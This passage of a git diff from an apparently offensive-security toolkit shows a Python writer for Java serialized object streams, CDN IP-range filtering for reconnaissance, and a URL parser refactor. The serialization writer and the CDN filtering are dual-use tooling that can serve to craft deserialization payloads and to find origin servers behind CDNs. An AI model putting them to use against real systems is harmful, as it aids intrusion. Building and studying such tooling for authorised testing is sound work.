self.handles: + self.writeHandle(javaString) + return + else: + self.stream.writeBytes(Constants.TC_STRING) + self.stream.writeString(javaString.string) + self.handles.append(javaString) + + def writeClassAnnotations(self, classAnnotations): + for i in classAnnotations: + self.writeContent(i) + + def writeEndBlock(self, content): + self.stream.writeBytes(Constants.TC_ENDBLOCKDATA) + + def writeJavaField(self, content): + if content.signature.startswith('L') or content.signature.startswith('['): + self.writeContent(content.value) + elif content.signature == "B": + self.stream.writeBytes(content.value) + elif content.signature == "C": + self.stream.writeChar(content.value) + elif content.signature == "D": + self.stream.writeDouble(content.value) + elif content.signature == "F": + self.stream.writeFloat(content.value) + elif content.signature == 'I': + self.stream.writeInt(content.value) + elif content.signature == 'J': + self.stream.writeLong(content.value) + elif content.signature == 'S': + self.stream.writeShort(content.value) + elif content.signature == 'Z': + self.stream.writeBoolean(content.value) + else: + print("unsupport", content) + + def writeObjectAnnotations(self, objectAnnotation, lastWriteObjectAnnotations): + while lastWriteObjectAnnotations < len(objectAnnotation): + self.writeContent(objectAnnotation[lastWriteObjectAnnotations]) + if isinstance(objectAnnotation[lastWriteObjectAnnotations], JavaEndBlock): + lastWriteObjectAnnotations += 1 + break + else: + lastWriteObjectAnnotations += 1 + + return lastWriteObjectAnnotations + + def writeJavaBlockData(self, content): + self.stream.writeBytes(Constants.TC_BLOCKDATA) + self.stream.writeBytes(content.size.to_bytes(1, 'big')) + self.stream.writeBytes(content.data) + + def writeJavaArray(self, content): + if content in self.handles: + return self.writeHandle(content) + else: + self.stream.writeBytes(Constants.TC_ARRAY) + self.writeClassDesc(content.signature) + self.stream.writeInt(content.length) + self.handles.append(content) + for i in content.list: + if content.signature.name[1:].startswith("[") or content.signature.name[1:].startswith("L"): + self.writeContent(i) + else: + self.writeJavaField(JavaField(None, content.signature.name[1:], i)) + + def writeJavaException(self, content): + self.stream.writeBytes(Constants.TC_EXCEPTION) + self.handles = [] + self.writeContent(content.exception) + self.handles = [] + + def writeJavaClassDesc(self, content): + if content in self.handles: + return self.writeHandle(content) + else: + self.stream.writeBytes(Constants.TC_CLASS) + self.writeClassDesc(content) + self.handles.append(content) + + def writeJavaProxyClass(self, content): + if content in self.handles: + return self.writeHandle(content) + self.stream.writeBytes(Constants.TC_PROXYCLASSDESC) + self.stream.writeInt(len(content.interfaces)) + for i in content.interfaces: + self.stream.writeString(i) + self.handles.append(content) + for i in content.classAnnotations: + self.writeContent(i) + if content.superJavaClass: + self.writeClassDesc(content.superJavaClass) + else: + self.stream.writeBytes(Constants.TC_NULL) + + def writeEnum(self, content): + if content in self.handles: + return self.writeHandle(content) + self.stream.writeBytes(Constants.TC_ENUM) + self.writeClassDesc(content.javaClass) + self.handles.append(content) + self.writeContent(content.enumConstantName) + + def writeClass(self, content): + if content in self.handles: + return self.writeHandle(content) + self.stream.writeBytes(Constants.TC_CLASS) + self.writeClassDesc(content.javaclassDesc) + self.handles.append(content) diff --git a/core/parser/ipsunet.py b/core/parser/ipsunet.py index 4bb5235..4c8a834 100644 --- a/core/parser/ipsunet.py +++ b/core/parser/ipsunet.py @@ -11,7 +11,7 @@ """ -def ipToBinary(ip): +def ip_to_binary(ip): ip_num = ip.split('.') x = 0 @@ -25,11 +25,11 @@ def ipToBinary(ip): num = int(ip_num[i]) << (24 - i * 8) x = x | num - binaryStr = str(bin(x).replace('0b', '')) - return binaryStr + binary_str = str(bin(x).replace('0b', '')) + return binary_str -def maskToBinary(mask): +def mask_to_binary(mask): """ 两种情况的处理 1、/24 @@ -52,22 +52,22 @@ def maskToBinary(mask): # 输入的子网掩码是255.255.255.0这种点分十进制格式 elif len(mask_list) == 4: - binary = ipToBinary(mask) + binary = ip_to_binary(mask) return binary # 判断IP地址是否属于这个网段 -def ipInSubnet(ip, subnet): +def ip_in_subnet(ip, subnet): try: subnet_list = subnet.split('/') networt_add = subnet_list[0] network_mask = subnet_list[1] # 原来的得出的二进制数据类型是str,转换数据类型 - ip_num = int(ipToBinary(ip), 2) - subnet_num = int(ipToBinary(networt_add), 2) - mask_bin = int(maskToBinary(network_mask), 2) + ip_num = int(ip_to_binary(ip), 2) + subnet_num = int(ip_to_binary(networt_add), 2) + mask_bin = int(mask_to_binary(network_mask), 2) # IP和掩码与运算后比较 if (ip_num & mask_bin) == (subnet_num & mask_bin): @@ -78,105 +78,10 @@ def ipInSubnet(ip, subnet): return False -FILTER_CDN_IPSEGMENT_LIST = [ - '223.99.255.0/24', '71.152.0.0/17', '219.153.73.0/24', '125.39.46.0/24', '190.93.240.0/20', '14.0.113.0/24', - '14.0.47.0/24', '113.20.148.0/22', '103.75.201.0/24', '1.32.239.0/24', '101.79.239.0/24', '52.46.0.0/18', - '125.88.189.0/24', '150.138.248.0/24', '180.153.235.0/24', '205.251.252.0/23', '103.1.65.0/24', '115.127.227.0/24', - '14.0.42.0/24', '109.199.58.0/24', '116.211.155.0/24', '112.253.3.0/24', '14.0.58.0/24', '223.112.227.0/24', - '113.20.150.0/23', '61.182.141.0/24', '34.216.51.0/25', '124.95.188.0/24', '42.51.25.0/24', '183.136.133.0/24', - '52.220.191.0/26', '119.84.93.0/24', '182.118.38.0/24', '13.59.250.0/26', '54.178.75.0/24', '119.84.92.0/24', - '183.131.62.0/24', '111.32.136.0/24', '13.124.199.0/24', '111.47.227.0/24', '104.37.177.0/24', '14.0.50.0/24', - '183.230.70.0/24', '114.111.59.0/24', '220.181.135.0/24', '112.140.32.0/19', '101.79.230.0/24', '14.0.115.0/24', - '103.28.248.0/22', '117.34.72.0/24', '109.199.57.0/24', '101.79.149.0/24', '116.128.128.0/24', '115.231.186.0/24', - '103.22.200.0/22', '61.155.165.0/24', '113.20.148.0/23', '185.254.242.0/24', '59.36.120.0/24', '70.132.0.0/18', - '116.31.126.0/24', '119.147.134.0/24', '115.127.246.0/24', '52.47.139.0/24', '118.107.175.0/24', '52.78.247.128/26', - '110.93.176.0/20', '54.240.128.0/18', '46.51.216.0/21', '119.31.251.0/24', '125.39.18.0/24', '108.175.33.0/24', - '1.31.128.0/24', '61.151.163.0/24', '103.95.132.0/24', '58.215.118.0/24', '54.233.255.128/26', '120.52.113.0/24', - '118.107.174.0/24', '1.32.242.0/24', '221.195.34.0/24', '101.79.228.0/24', '205.251.249.0/24', '113.200.91.0/24', - '101.79.146.0/24', '221.238.22.0/24', '134.19.183.0/24', '110.93.160.0/20', '180.97.158.0/24', '115.127.251.0/24', - '119.167.147.0/24', '115.127.238.0/24', '115.127.240.0/22', '14.0.48.0/24', '115.127.240.0/24', '113.7.183.0/24', - '112.140.128.0/20', '115.127.255.0/24', '114.31.36.0/22', '101.79.232.0/24', '218.98.44.0/24', '106.119.182.0/24', - '101.79.167.0/24', '125.39.5.0/24', '58.49.105.0/24', '124.202.164.0/24', '111.177.6.0/24', '61.133.127.0/24', - '185.11.124.0/22', '150.138.150.0/24', '115.127.248.0/24', '103.74.80.0/22', '101.79.166.0/24', '101.71.55.0/24', - '198.41.128.0/17', '117.21.219.0/24', '103.231.170.0/24', '221.204.202.0/24', '101.79.224.0/24', '112.25.16.0/24', - '111.177.3.0/24', '204.246.168.0/22', '103.40.7.0/24', '134.226.0.0/16', '52.15.127.128/26', '122.190.2.0/24', - '101.203.192.0/18', '1.32.238.0/24', '101.79.144.0/24', '176.34.28.0/24', '119.84.15.0/24', '18.216.170.128/25', - '222.88.94.0/24', '101.79.150.0/24', '114.111.48.0/21', '124.95.168.0/24', '114.111.48.0/20', '110.93.176.0/21', - '223.111.127.0/24', '117.23.61.0/24', '140.207.120.0/24', '157.255.26.0/24', '221.204.14.0/24', '183.222.96.0/24', - '104.37.180.0/24', '42.236.93.0/24', '111.63.51.0/24', '114.31.32.0/20', '118.180.50.0/24', '222.240.184.0/24', - '205.251.192.0/19', '101.79.225.0/24', '115.127.228.0/24', '113.20.148.0/24', '61.213.176.0/24', '112.65.75.0/24', - '111.13.147.0/24', '113.20.145.0/24', '103.253.132.0/24', '52.222.128.0/17', '183.203.7.0/24', '27.221.27.0/24', - '103.79.134.0/24', '123.150.187.0/24', '103.15.194.0/24', '162.158.0.0/15', '61.163.30.0/24', '182.140.227.0/24', - '112.25.60.0/24', '117.148.161.0/24', '61.182.136.0/24', '114.31.56.0/22', '64.252.128.0/18', '183.61.185.0/24', - '115.127.250.0/24', '150.138.138.0/24', '13.210.67.128/26', '211.162.64.0/24', '61.174.9.0/24', '14.0.112.0/24', - '52.52.191.128/26', '27.221.124.0/24', '103.4.203.0/24', '103.14.10.0/24', '34.232.163.208/29', '114.31.48.0/20', - '59.51.81.0/24', '183.60.235.0/24', '101.227.206.0/24', '125.39.174.0/24', '119.167.246.0/24', '118.107.160.0/21', - '223.166.151.0/24', '110.93.160.0/19', '204.246.172.0/23', '119.31.253.0/24', '143.204.0.0/16', '14.0.60.0/24', - '123.151.76.0/24', '116.193.80.0/24', '120.241.102.0/24', '180.96.20.0/24', '216.137.32.0/19', '223.94.95.0/24', - '103.4.201.0/24', '14.0.56.0/24', '115.127.234.0/24', '113.20.144.0/23', '103.248.104.0/24', '122.143.15.0/24', - '101.79.229.0/24', '101.79.163.0/24', '104.37.112.0/22', '115.127.253.0/24', '141.101.64.0/18', '113.20.144.0/22', - '101.79.155.0/24', '117.148.160.0/24', '124.193.166.0/24', '109.94.168.0/24', '203.90.247.0/24', '101.79.208.0/21', - '182.118.12.0/24', '114.31.58.0/23', '202.162.109.0/24', '101.79.164.0/24', '58.216.2.0/24', '222.216.190.0/24', - '101.79.165.0/24', '111.6.191.0/24', '1.255.100.0/24', '52.84.0.0/15', '112.65.74.0/24', '183.250.179.0/24', - '101.79.236.0/24', '119.31.252.0/24', '113.20.150.0/24', '60.12.166.0/24', '101.79.234.0/24', '113.17.174.0/24', - '101.79.237.0/24', '61.54.46.0/24', '118.212.233.0/24', '183.110.242.0/24', '150.138.149.0/24', '117.34.13.0/24', - '115.127.245.0/24', '14.0.102.0/24', '14.0.109.0/24', '61.130.28.0/24', '113.20.151.0/24', '219.159.84.0/24', - '114.111.62.0/24', '172.64.0.0/13', '61.155.222.0/24', '120.52.29.0/24', '115.127.231.0/24', '14.0.49.0/24', - '113.202.0.0/16', '103.248.104.0/22', '205.251.250.0/23', '103.216.136.0/22', '118.107.160.0/20', '109.87.0.0/21', - '54.239.128.0/18', '115.127.224.0/19', '111.202.98.0/24', '109.94.169.0/24', '59.38.112.0/24', '204.246.176.0/20', - '123.133.84.0/24', '103.4.200.0/24', '111.161.109.0/24', '112.84.34.0/24', '103.82.129.0/24', '183.3.254.0/24', - '112.137.184.0/21', '122.227.237.0/24', '36.42.75.0/24', '13.35.0.0/16', '101.226.4.0/24', '116.140.35.0/24', - '58.250.143.0/24', '13.54.63.128/26', '205.251.254.0/24', '173.245.48.0/20', '183.61.177.0/24', '113.20.144.0/24', - '104.37.183.0/24', '35.158.136.0/24', '116.211.121.0/24', '42.236.94.0/24', '117.34.91.0/24', '123.6.13.0/24', - '13.224.0.0/14', '113.20.146.0/24', '58.58.81.0/24', '52.124.128.0/17', '122.228.198.0/24', '197.234.240.0/22', - '99.86.0.0/16', '144.220.0.0/16', '119.188.97.0/24', '36.27.212.0/24', '104.37.178.0/24', '114.31.52.0/22', - '218.65.212.0/24', '1.255.41.0/24', '14.0.45.0/24', '1.32.243.0/24', '220.170.185.0/24', '122.190.3.0/24', - '103.79.133.0/24', '220.181.55.0/24', '125.39.191.0/24', '115.127.226.0/24', '125.39.32.0/24', '61.120.154.0/24', - '103.4.202.0/24', '103.79.134.0/23', '115.127.224.0/24', '113.20.147.0/24', '61.156.149.0/24', '210.209.122.0/24', - '115.127.249.0/24', '104.37.179.0/24', '120.52.18.0/24', '54.192.0.0/16', '14.0.55.0/24', '61.160.224.0/24', - '113.207.101.0/24', '101.79.157.0/24', '110.93.128.0/20', '58.251.121.0/24', '61.240.149.0/24', '130.176.0.0/16', - '113.107.238.0/24', '112.65.73.0/24', '103.75.200.0/23', '199.83.128.0/21', '123.129.220.0/24', '54.230.0.0/16', - '114.111.60.0/24', '199.27.128.0/21', '14.0.118.0/24', '101.79.158.0/24', '119.31.248.0/21', '54.182.0.0/16', - '113.31.27.0/24', '14.17.69.0/24', '101.79.145.0/24', '113.20.144.0/21', '180.163.22.0/24', '104.37.176.0/21', - '117.25.156.0/24', '115.127.252.0/24', '115.127.244.0/23', '14.0.46.0/24', '113.207.102.0/24', '52.199.127.192/26', - '13.113.203.0/24', '64.252.64.0/18', '1.32.240.0/24', '123.129.232.0/24', '1.32.241.0/24', '180.163.189.0/24', - '157.255.25.0/24', '1.32.244.0/24', '103.248.106.0/24', '121.48.95.0/24', '54.239.192.0/19', '113.20.146.0/23', - '61.136.173.0/24', '35.162.63.192/26', '117.34.14.0/24', '183.232.29.0/24', '42.81.93.0/24', '122.228.238.0/24', - '183.61.190.0/24', '125.39.239.0/24', '115.127.230.0/24', '103.140.200.0/23', '202.102.85.0/24', '14.0.32.0/21', - '14.0.57.0/24', '112.25.90.0/24', '58.211.137.0/24', '210.22.63.0/24', '34.226.14.0/24', '13.32.0.0/15', - '101.79.156.0/24', '103.89.176.0/24', '14.0.116.0/24', '106.42.25.0/24', '101.79.233.0/24', '101.79.231.0/24', - '103.75.200.0/24', '119.188.9.0/24', '183.232.51.0/24', '149.126.72.0/21', '103.21.244.0/22', '115.127.233.0/24', - '27.221.20.0/24', '198.143.32.0/19', '103.248.107.0/24', '101.79.227.0/24', '115.127.242.0/24', '119.31.250.0/24', - '103.82.130.0/24', '99.84.0.0/16', '222.73.144.0/24', '103.79.132.0/22', '101.79.208.0/20', '104.37.182.0/24', - '101.79.152.0/24', '36.99.18.0/24', '101.71.56.0/24', '36.250.5.0/24', '61.158.240.0/24', '119.188.14.0/24', - '13.249.0.0/16', '183.214.156.0/24', '60.221.236.0/24', '58.30.212.0/24', '115.127.254.0/24', '188.114.96.0/20', - '115.127.241.0/24', '103.4.200.0/22', '115.127.239.0/24', '115.127.243.0/24', '111.32.135.0/24', '120.221.29.0/24', - '115.127.232.0/24', '14.0.43.0/24', '14.0.59.0/24', '183.61.236.0/24', '34.223.12.224/27', '103.24.120.0/24', - '52.57.254.0/24', '113.207.100.0/24', '222.186.19.0/24', '113.20.149.0/24', '150.138.151.0/24', '115.231.110.0/24', - '52.56.127.0/25', '104.37.176.0/24', '163.177.8.0/24', '163.53.89.0/24', '52.82.128.0/19', '114.111.63.0/24', - '108.162.192.0/18', '14.136.130.0/24', '115.127.229.0/24', '14.17.71.0/24', '52.212.248.0/26', '180.163.188.0/24', - '61.182.137.0/24', '119.161.224.0/21', '14.0.41.0/24', '202.162.108.0/24', '106.122.248.0/24', '52.66.194.128/26', - '115.127.237.0/24', '220.170.186.0/24', '14.0.32.0/19', '14.0.114.0/24', '112.90.216.0/24', '115.127.236.0/24', - '116.193.84.0/24', '113.207.76.0/24', '101.79.235.0/24', '101.79.224.0/20', '61.155.149.0/24', '101.79.148.0/24', - '180.163.224.0/24', '204.246.174.0/23', '183.60.136.0/24', '101.227.207.0/24', '103.248.105.0/24', - '119.188.35.0/24', '42.236.7.0/24', '116.193.88.0/21', '116.193.83.0/24', '120.199.69.0/24', '122.226.182.0/24', - '58.20.204.0/24', '110.93.128.0/21', '115.231.187.0/24', '69.28.58.0/24', '114.31.32.0/19', '112.25.91.0/24', - '59.52.28.0/24', '117.27.149.0/24', '61.147.92.0/24', '14.0.117.0/24', '14.0.40.0/24', '119.97.151.0/24', - '103.199.228.0/22', '122.70.134.0/24', '115.127.244.0/24', '223.112.198.0/24', '115.127.225.0/24', '104.16.0.0/12', - '121.12.98.0/24', '103.31.4.0/22', '204.246.164.0/22', '223.94.66.0/24', '35.167.191.128/26', '116.31.127.0/24', - '101.79.226.0/24', '34.195.252.0/24', '115.127.247.0/24', '61.240.144.0/24', '108.175.32.0/20', '120.197.85.0/24', - '183.232.53.0/24', '111.161.66.0/24', '117.34.28.0/24', '45.64.64.0/22', '14.0.44.0/24', '109.86.0.0/15', - '182.23.211.0/24', '58.211.2.0/24', '119.36.164.0/24', '116.55.250.0/24', '101.227.163.0/24', '13.228.69.0/24', - '120.221.136.0/24', '119.188.132.0/24', '115.127.235.0/24', '42.236.6.0/24', '125.88.190.0/24', '61.54.47.0/24', - '103.27.12.0/22', '116.193.80.0/21', '101.79.159.0/24', '123.155.158.0/24', '111.47.226.0/24', '131.0.72.0/22', - '192.230.64.0/18', '218.92.0.0/24' -] - - # ip段识别 -def getIpSegment(ipList: list): +def get_ip_segment(ip_list): ll = [] - for l in ipList: + for l in ip_list: l = l.split(".") l[-1] = "0/24" joinl = ".".join(l) @@ -185,133 +90,40 @@ def getIpSegment(ipList: list): return ll +""" +test func +not use +""" + + def test(ipList, ipSegmentList): - filterIpList = [] + filter_ip_list = [] for ip in ipList: flag = True for ipSegment in FILTER_CDN_IPSEGMENT_LIST: - if ipInSubnet(ip, ipSegment): + if ip_in_subnet(ip, ipSegment): flag = False break if flag: - filterIpList.append(ip) - tempIpSegmentList = getIpSegment(filterIpList) - for ipSegment in tempIpSegmentList: + filter_ip_list.append(ip) + temp_ip_segment_list = get_ip_segment(filter_ip_list) + for ipSegment in temp_ip_segment_list: ipSegmentList.append({'ipSegment': ipSegment, 'ip': [], 'num': 0}) - for ip in filterIpList: + for ip in filter_ip_list: for index, ipSegment in enumerate(ipSegmentList): - if ipInSubnet(ip, ipSegment['ipSegment']): + if ip_in_subnet(ip, ipSegment['ipSegment']): ipSegmentList[index]['num'] += 1 ipSegmentList[index]['ip'].append(ip) if __name__ == '__main__': - ipList = ['1.31.128.238', '2408:863c:861:1::200', '120.79.208.87', '121.37.218.76', '119.23.85.136', '120.77.164.50', '124.238.245.99', - '47.106.47.204', '8.129.38.45', '47.112.97.182', '221.194.147.203', '116.11.123.228', '47.106.228.201', - '47.115.134.113', '120.79.200.254', '8.129.6.249', '39.108.64.221', '47.107.54.234', '119.23.93.160', - '13.228.45.83', '120.25.135.144', '47.106.61.39', '47.113.58.123', '120.77.170.48', '47.112.186.118', - '129.226.173.97', '47.106.29.219', '47.106.89.191', '47.115.177.198', '120.25.134.91', '139.9.194.147', - '47.115.137.178', '106.117.214.216', '218.17.244.226', '47.113.22.155', '47.107.222.101', - '47.115.126.210', - '47.107.27.50', '61.182.131.239', '47.106.129.205', '120.24.160.195', '47.115.116.181', '13.251.199.0', - '121.37.237.55', '8.135.21.84', '47.107.233.45', '117.184.254.47', '47.106.60.183', '86.183.48.255', - '3.0.179.84', - '47.106.214.253', '47.106.17.143', '121.9.203.231', '47.106.192.31', '139.9.80.134', '120.25.230.240', - '125.77.171.112', '47.107.22.235', '123.6.12.234', '47.113.23.251', '116.211.155.211', '166.104.100.206', - '120.24.212.176', '1.180.12.239', '47.106.238.174', '120.77.198.59', '119.23.92.178', '18.228.151.64', - '120.77.199.33', '47.107.62.123', '120.77.133.170', '112.74.72.79', '47.112.252.117', '61.240.142.53', - '120.78.143.194', '120.24.78.30', '119.23.93.107', '47.115.166.121', '27.19.248.240', '47.112.246.89', - '120.24.97.114', '47.107.218.50', '54.251.14.55', '47.113.23.246', '120.24.40.126', '35.154.239.204', - '104.18.26.205', '120.76.119.127', '113.96.63.218', '47.113.57.1', '119.167.179.238', '120.78.190.38', - '140.207.195.74', '13.228.74.14', '120.78.17.200', '47.107.38.25', '120.77.198.197', '39.108.127.243', - '3.108.160.119', '36.249.66.102', '47.106.128.70', '8.129.37.220', '120.24.83.35', '106.117.214.215', - '49.7.22.213', '124.71.102.252', '180.163.122.226', '8.129.102.210', '47.107.23.177', '177.71.248.216', - '27.221.119.235', '47.106.60.72', '120.77.112.153', '120.78.165.41', '36.102.11.236', '157.255.170.196', - '47.115.152.216', '139.159.179.229', '47.107.23.146', '52.220.84.175', '120.77.229.250', '18.229.0.166', - '47.106.46.90', '124.239.158.230', '120.79.60.196', '180.163.122.225', '120.24.144.174', - '119.167.188.230', - '47.106.253.12', '47.106.167.116', '120.78.203.39', '47.115.92.168', '112.90.216.68', '47.107.192.74', - '124.71.215.205', '150.138.39.242', '218.17.244.230', '119.23.49.222', '39.108.40.89', '52.76.60.211', - '153.3.235.96', '8.129.31.229', '8.135.38.214', '120.78.204.153', '120.77.112.118', '60.9.0.248', - '120.78.177.241', - '47.115.114.41', '163.181.33.227', '47.106.15.190', '119.23.83.173', '54.254.48.44', '139.159.148.210', - '47.106.148.107', '120.77.199.231', '8.129.34.186', '36.249.67.79', '120.25.223.87', '39.108.63.216', - '47.246.4.225', '47.107.19.197', '47.115.169.67', '13.235.207.106', '8.129.19.103', '47.115.58.118', - '47.107.99.201', '120.77.146.31', '47.107.222.204', '8.129.111.96', '120.78.164.251', '47.107.215.232', - '47.115.148.81', '111.225.210.240', '120.76.119.228', '47.107.22.72', '8.129.74.97', '47.106.248.41', - '120.79.146.198', '47.106.66.55', '101.226.27.236', '120.77.166.132', '124.71.12.68', '139.227.230.30', - '120.24.233.154', '139.9.43.73', '58.241.27.248', '124.71.34.51', '112.74.105.191', '120.24.188.111', - '47.106.215.228', '139.227.230.118', '120.78.171.158', '36.248.25.117', '47.115.81.215', '121.37.232.159', - '120.24.195.22', '47.112.115.71', '139.159.217.65', '47.106.73.94', '120.79.139.128', '180.163.149.238', - '47.106.60.197', '119.23.84.243', '139.9.38.109', '47.107.218.126', '112.90.216.113', '47.107.23.144', - '139.9.208.212', '120.78.187.124', '36.249.76.239', '36.249.66.104', '120.78.212.92', '112.74.112.107', - '120.77.111.21', '52.74.13.87', '47.113.59.67', '49.7.22.217', '36.249.67.103', '36.249.67.99', - '119.23.50.229', - '139.159.250.80', '120.39.197.242', '120.24.93.230', '27.128.221.242', '47.107.15.161', '117.23.61.211', - '39.108.39.172', '120.25.230.128', '8.129.135.39', '140.249.88.203', '13.229.190.243', '47.106.93.53', - '104.18.27.205', '112.74.61.115', '47.115.37.153', '120.24.43.30', '119.23.84.248', '47.106.27.96', - '120.77.228.109', '120.78.168.153', '47.113.23.243', '54.169.242.66', '18.231.42.176', '120.77.164.228', - '36.102.11.248', '157.255.170.230', '119.167.191.211', '39.108.230.119', '163.181.37.228', '39.108.38.81', - '124.71.5.89', '1.31.128.252', '47.119.127.12', '212.64.63.66', '47.115.164.61', '120.25.195.208', - '13.127.105.225', '8.129.4.36', '47.107.18.213', '120.77.198.4', '47.113.21.90', '117.48.233.10', - '119.167.188.226', '120.24.53.125', '120.76.217.197', '116.11.123.226', '39.108.93.184', '47.115.75.77', - '65.0.52.13', '150.138.39.240', '47.115.144.185', '3.7.112.238', '120.79.99.127', '52.67.139.120', - '47.106.156.164', '60.9.0.243', '47.107.20.166', '180.163.149.248', '120.77.199.255', '139.9.188.217', - '139.227.230.112', '120.77.143.49', '120.76.118.32', '121.37.242.209', '47.115.137.169', - '139.159.238.183', - '81.69.157.69', '119.167.179.241', '47.106.244.98', '120.79.155.49', '47.106.112.132', '112.74.93.55', - '47.113.57.175', '120.78.185.236', '112.132.33.237', '120.79.175.220', '18.229.247.103', '119.23.149.241', - '8.129.31.175', '36.248.210.101', '47.115.151.10', '112.85.251.227', '120.24.215.175', '106.117.214.220', - '120.77.228.178', '120.77.164.249', '139.9.71.114', '47.107.193.242', '153.3.137.220', '8.129.31.60', - '124.239.158.233', '47.119.129.130', '3.7.188.179', '18.231.58.245', '120.77.110.203', '111.202.98.85', - '120.77.169.112', '47.107.19.237', '47.107.20.205', '120.25.125.109', '61.168.100.97', '13.228.122.59', - '120.78.181.246', '118.212.233.160', '120.25.101.48', '120.25.250.247', '36.249.66.103', '119.23.87.38', - '47.115.123.250', '47.106.45.251', '47.112.178.185', '47.113.59.93', '47.107.95.215', '3.6.196.207', - '1.180.12.240', '139.9.221.206', '121.37.19.81', '121.37.218.27', '120.79.158.175', '47.106.97.231', - '36.248.210.83', '120.79.138.141', '113.229.252.117', '120.76.64.230', '47.106.76.137', '47.113.24.88', - '120.79.44.250', '120.77.198.168', '47.112.100.205', '36.249.67.98', '27.221.119.231', '47.106.162.159', - '120.24.144.20', '125.36.180.240', '47.106.122.231', '120.77.42.42', '106.117.214.217', '120.76.57.167', - '47.112.230.81', '47.112.133.166', '47.115.75.111', '47.107.217.77', '120.79.183.209', '120.77.204.106', - '112.85.251.231', '221.207.101.80', '120.25.222.92', '1.31.128.240', '47.106.69.29', '47.113.59.167', - '47.113.57.250', '118.31.64.167', '47.113.53.153', '3.0.53.130', '112.74.101.189', '47.106.45.156', - '120.78.187.30', '1.180.12.248', '120.78.76.204', '47.115.174.3', '47.106.225.233', '1.31.128.147', - '120.76.116.131', '36.248.210.102', '47.106.62.21', '221.194.147.201', '52.74.244.230', '120.79.181.28', - '120.24.172.143', '47.106.116.114', '47.107.16.118', '180.163.149.242', '221.194.146.246', - '139.9.189.208', - '47.107.18.98', '120.76.64.106', '118.212.236.227', '47.106.14.22', '47.115.182.109', '120.79.193.190', - '47.107.17.208', '36.249.67.101', '47.106.166.221', '112.74.138.28', '120.79.202.141', '139.159.225.206', - '58.218.203.233', '120.78.124.201', '36.102.11.241', '120.77.229.20', '139.9.95.45', '39.108.118.105', - '39.108.188.29', '47.106.184.21', '36.249.76.240', '18.136.50.181', '39.108.42.244', '58.241.27.239', - '39.108.197.102', '8.135.120.84', '119.23.87.120', '1.180.12.242', '121.37.230.188', '39.108.8.160', - '47.107.127.116', '42.193.65.239', '120.78.170.186', '13.250.76.48', '47.107.25.230', '47.107.193.22', - '49.7.22.219', '113.96.109.96', '103.68.183.152', '120.77.229.32', '8.129.5.60', '120.79.134.86', - '47.107.35.130', - '47.107.20.79', '47.112.145.232', '120.25.130.72', '47.115.169.248', '120.79.222.169', '39.108.43.50', - '111.225.210.242', '47.115.151.7', '120.79.179.119', '124.71.222.66', '120.78.11.240', '119.23.83.235', - '120.78.191.151', '116.62.233.94', '36.249.67.104', '13.250.187.48', '120.79.216.2', '47.115.189.48', - '124.71.102.53', '27.221.122.238', '120.25.135.140', '120.79.152.145', '39.108.43.101', '47.115.181.24', - '39.108.135.165', '180.76.185.115', '124.239.158.226', '47.113.23.242', '47.106.85.217', '47.106.207.250', - '47.106.94.196', '13.251.187.219', '47.106.45.107', '120.25.150.242', '47.106.15.5', '113.96.109.98', - '52.76.189.10', '112.95.154.62', '120.77.82.75', '39.108.43.224', '54.207.55.213', '47.113.23.237', - '120.78.186.135', '3.0.220.217', '18.228.99.123', '47.106.28.136', '120.24.228.74', '47.107.217.199', - '120.77.229.30', '153.3.235.98', '139.159.247.179', '13.234.80.151', '8.129.62.91', '49.7.22.220', - '39.108.40.213', - '47.115.152.164', '47.106.208.221', '47.113.23.252', '120.24.7.201', '47.115.115.149', '39.108.41.143', - '120.79.82.144', '119.147.70.220', '112.132.33.240', '47.107.25.109', '39.108.228.230', '120.77.164.245', - '36.248.210.78', '124.71.109.76', '47.112.145.204', '18.141.76.162', '112.74.59.70', '47.107.215.140', - '120.78.165.23', '139.159.231.156', '119.96.75.228', '39.108.145.179', '125.36.180.243', '139.9.195.234', - '120.77.164.96', '120.24.237.38', '54.233.134.97', '177.71.159.145', '47.107.18.38', '47.107.109.134', - '8.135.36.63', '139.9.191.178', '13.232.121.220', '120.77.229.209', '47.115.148.163', '47.107.192.132', - '139.159.142.236', '27.128.221.236', '120.79.150.68', '47.112.165.228', '111.225.210.243', - '112.74.90.223', - '47.112.105.21', '120.78.127.153', '18.229.7.44', '47.113.58.149', '139.9.75.10', '112.74.142.34', - '139.9.179.165', - '52.221.135.7', '36.248.210.98', '120.78.193.152', '103.15.99.20', '221.6.157.221', '139.9.81.200', - '153.99.248.242', '119.23.84.176', '18.136.88.219', '36.102.11.242', '47.106.82.193', '139.9.78.19', - '211.95.52.116'] - print(len(ipList)) + from core.constant import FILTER_CDN_IPSEGMENT_LIST + + ip_list = ['39.108.197.102', '8.135.120.84', '119.23.87.120', '1.180.12.242', '121.37.230.188', '39.108.8.160', + '47.107.127.116', '42.193.65.239', '120.78.170.186', '13.250.76.48', '47.107.25.230', '47.107.193.22'] + print(len(ip_list)) seg = [] - test(ipList, seg) + test(ip_list, seg) print(len(seg)) print(seg) diff --git a/core/parser/urlparser.py b/core/parser/urlparser.py index 7458ed1..9e69f1a 100644 --- a/core/parser/urlparser.py +++ b/core/parser/urlparser.py @@ -7,29 +7,51 @@ from urllib.parse import urlparse -class urlParser: +class UrlParser: """ 解析url相关格式信息 write in 2021.11.24 14.26 @zpchcbd """ def __init__(self, url): - self.extractResult = extract(url) - self.parseResult = urlparse(url) + self._extract_result = extract(url) # ExtractResult(subdomain='', domain='1.1.1.1', suffix='') + self._parse_result = urlparse(url) # ParseResult(scheme='http', netloc='1.1.1.1', path='', params='', query='', fragment='') @property def subdomain(self): - return f'{self.extractResult.subdomain}.{self.extractResult.domain}.{self.extractResult.suffix}' if self.extractResult.subdomain and self.extractResult.domain and self.extractResult.suffix else '' + return f'{self._extract_result.subdomain}.{self._extract_result.domain}.{self._extract_result.suffix}' if self._extract_result.subdomain and self._extract_result.domain and self._extract_result.suffix else '' @property def rootdomain(self): - return f'{self.extractResult.domain}.{self.extractResult.suffix}' if self.extractResult.domain and self.extractResult.suffix else '' + return f'{self._extract_result.domain}.{self._extract_result.suffix}' if self._extract_result.domain and self._extract_result.suffix else '' @property def scheme(self): - return f'{self.parseResult.scheme}://' + return f'{self._parse_result.scheme}://' + + @property + def url_no_param(self): + return f'{self._parse_result.scheme}://{self._parse_result.netloc}{self._parse_result.path}' + + @property + def url_no_path(self): + return f'{self._parse_result.scheme}://{self._parse_result.netloc}' + + @property + def extract_result(self): + return self._extract_result + + @property + def parse_result(self): + return self._parse_result if __name__ == '__main__': - t = urlParser('bpmyh.test.com') + t = UrlParser('http://baidu.com:8080/?a=1') + print(t.extract_result) + print(t.parse_result) + # print(t.subdomain) print(t.rootdomain) + # 